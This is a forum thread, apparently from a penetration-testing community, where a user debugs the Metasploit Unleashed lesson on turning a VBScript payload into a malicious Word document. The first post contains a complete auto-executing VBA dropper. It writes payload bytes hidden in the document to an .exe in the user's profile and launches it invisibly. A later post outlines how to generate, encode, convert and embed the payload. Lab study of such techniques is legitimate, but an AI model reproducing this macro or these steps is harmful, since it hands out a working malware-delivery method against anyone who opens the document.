Results 1 to 4 of 4

Thread: metasploit vbs to .doc errors

  1. #1
    Senior Member
    Join Date
    Jan 2010
    Posts
    173

    Default metasploit vbs to .doc errors

    Hi all,
    Im trying to complete the met unleashed vbs to word doc lesson but when i paste the vbs contents of the file , the macro part i get an error, now do i have to place the hex payload part of the vbs into the document itself and is that why im getting the error below?

    Macro in vb editor
    ----------------------------------------------------------------------
    Sub Auto_Open()
    Gissm12
    End Sub
    Sub Gissm12()
    Dim Gissm7 As Integer
    Dim Gissm1 As String
    Dim Gissm2 As String
    Dim Gissm3 As Integer
    Dim Gissm4 As Paragraph
    Dim Gissm8 As Integer
    Dim Gissm9 As Boolean
    Dim Gissm5 As Integer
    Dim Gissm11 As String
    Dim Gissm6 As Byte
    Dim Etoagmmddj As String
    Etoagmmddj = "Etoagmmddj"
    Gissm1 = "RHEIbSDXOr.exe"
    Gissm2 = Environ("USERPROFILE")
    ChDrive (Gissm2)
    ChDir (Gissm2)
    Gissm3 = FreeFile()
    Open Gissm1 For Binary As Gissm3
    For Each Gissm4 In ActiveDocument.Paragraphs
    DoEvents
    Gissm11 = Gissm4.Range.Text
    If (Gissm9 = True) Then
    Gissm8 = 1
    While (Gissm8 < Len(Gissm11))
    Gissm6 = Mid(Gissm11, Gissm8, 4)
    Put #Gissm3, , Gissm6
    Gissm8 = Gissm8 + 4
    Wend
    ElseIf (InStr(1, Gissm11, Etoagmmddj) > 0 And Len(Gissm11) > 0) Then
    Gissm9 = True
    End If
    Next
    Close #Gissm3
    Gissm13 (Gissm1)
    End Sub
    Sub Gissm13(Gissm10 As String)
    Dim Gissm7 As Integer
    Dim Gissm2 As String
    Gissm2 = Environ("USERPROFILE")
    ChDrive (Gissm2)
    ChDir (Gissm2)
    Gissm7 = Shell(Gissm10, vbHide) <----------------(this is highlighted error)
    End Sub
    Sub AutoOpen()
    Auto_Open
    End Sub
    Sub Workbook_Open()
    Auto_Open
    End Sub
    ---------------------------------------------------------------------------------

    Please advise.....Thanks

  2. #2
    Good friend of the forums espreto's Avatar
    Join Date
    Mar 2010
    Location
    Brazil
    Posts
    303

    Default Re: metasploit vbs to .doc errors

    I do not know the others, but I can not understand your posts, you're never clear enough!
    Read more 10 times.

    VBScript Infection Methods

    If you still are having difficulty, please contact us via irc.

    #metasploit

    Regards,
    (gdb) disass m(y_br)ain

    ®

  3. #3
    Senior Member
    Join Date
    Jan 2010
    Posts
    173

    Default Re: metasploit vbs to .doc errors

    Thanks for ur reply espreto, heres the deal:

    I create my payload in msfconsole with endoding and output to the msf directory with -o file.exe, i then move it to tools, then convert it via the ruby ruby exe2vba.rb file.exe file.vbs. Thats all good....now i open the file.vbs and copy the first part of the vbs which is for the macro yes? which is pasted into the macro in vb editor then save as normal and enter text into the document but it gives an error on opening, now hdmoore states that u need to do it in 2 parts 1: macro and 2: the payload hex needs to go into the document itself at the end . Is this why it maybe not working?

    Regards dee

  4. #4
    Good friend of the forums espreto's Avatar
    Join Date
    Mar 2010
    Location
    Brazil
    Posts
    303

    Default Re: metasploit vbs to .doc errors

    Understand the error here:

    VBScript User's Guide

    Try using the SET too.

    Regards,
    (gdb) disass m(y_br)ain

    ®

Similar Threads

  1. Backtrack R1 several errors
    By mania in forum Beginners Forum
    Replies: 6
    Last Post: 08-21-2010, 03:23 AM
  2. What do these errors mean?
    By DarkDavil in forum Beginners Forum
    Replies: 5
    Last Post: 05-17-2010, 09:19 PM
  3. Dell Latitude D531 boot errors. (media errors)
    By Dutch in forum OLD BackTrack 4 NON working hardware
    Replies: 2
    Last Post: 08-20-2009, 05:54 PM
  4. Backtrack 3 errors
    By Austin4bert in forum OLD Newbie Area
    Replies: 0
    Last Post: 07-31-2009, 03:54 AM
  5. Gslapt errors
    By YearZirO in forum OLD BT3beta Software related issues
    Replies: 19
    Last Post: 12-17-2007, 09:50 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •